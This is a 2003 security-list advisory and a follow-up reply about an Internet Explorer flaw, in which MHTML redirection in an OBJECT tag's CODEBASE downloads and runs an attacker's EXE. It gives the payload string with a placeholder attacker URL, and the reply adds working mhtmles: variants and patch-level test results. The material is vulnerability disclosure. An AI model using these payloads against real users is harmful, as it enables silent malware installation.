MHTML Redirection Leads to Downloading EXE and Executing

[Liu Die Yu]

MHTML Redirection Leads to Downloading EXE and Executing

[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.

OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]
A vulnerability in Internet Explorer is found: any attacker that can reach MYCOMPUTER security zone(a.k.a local zone) is able to download his EXE file and execute it.

[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWE...etExe-Demo.zip

[technical details]
There is a feature in Internet Explorer when it tries to retrieve a file embedded in an MHT file, like:
mhtml:[Mhtml_File_Url]![Original_Resource_Url]
If [Original_Resource_Url] cannot be retrieved from [Mhtml_File_Url], IE will try to download [Original_Resource_Url] and return the downloaded content.

It's like as HTTP redirection.

And CODEBASE execution is a URL-based security check.
(Liu Die Yu's http://continue.to/trie )

So, in MYCOMPUTER security, point CODEBASE property of an OBJECT tag with unused CLSID to:
mhtml:file:///C:\No_SUCH_MHT.MHT![Attaker_PayloadEXE_Url]
and then, IE will download [Attaker_PayloadEXE_Url] and execute it.

[Workaround]
Disable Active Scripting in INTERNET zone.

[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.

-----
all mentioned resources can always be found at UMBRELLA.MX.TC

[people]
LiuDieyuinchina [N0-@-Sp2m] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[message]
A wise man learns from other's mistakes; a fool learns from his own.

[Employment]
I would like to work professionally as a security researcher/bug finder.

See my resume at my site. I am very eager to work, flexible, and
extremely productive. I have a top notch resume, with credentials
from leading bug finders. I am willing to work per contract, relocate,
or telecommute.

[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
http://clik.to/donatepc

[James C. Slora, Jr.]

Liu Die Yu wrote Tuesday, November 25, 2003 4:51 AM

> MHTML Redirection Leads to Downloading EXE and Executing
> =
http://www.safecenter.net/UMBRELLAWE...e/MhtRedirLau=
nchInetExe-Demo.zip

mhtmles: also seems to work just fine most of the time. It seems to =
work even better with MS03-048 applied.

Without MS03-048:
--------------------------
CODEBASE=3D'mhtml:file://C:\NO_SUCH_MHT.MHT!etc
CODEBASE=3D'mhtmles://C:\NO_SUCH_MHT.MHT!etc
within the same file caused both to execute. It also worked if the =
browser was refreshed to code containing only mhtmles: if mhtml:file: =
was opened before the refresh.

I could not get mhtml:mid: to work though.
CODEBASE=3D'mhtml:mid://C:\NO_SUCH_MHT.MHT!etc
added to the same file causes the mhtmles: to fail even if it precedes =
the mhtml:mid:. mhtml:file: still works even if mhtml:mid is present =
too.


With MS03-048:
--------------------------
mhtmles: works almost all the time (fails just after reboot - =
mhtml:file: also fails on first IE instance after reboot, even with a =
refresh)
mhtml:mid: does not work but does not cause mhtmles: to fail!

Win2K Server US English and IE, up to date 2003-11-25 (and tested =
without 2003-11 updates)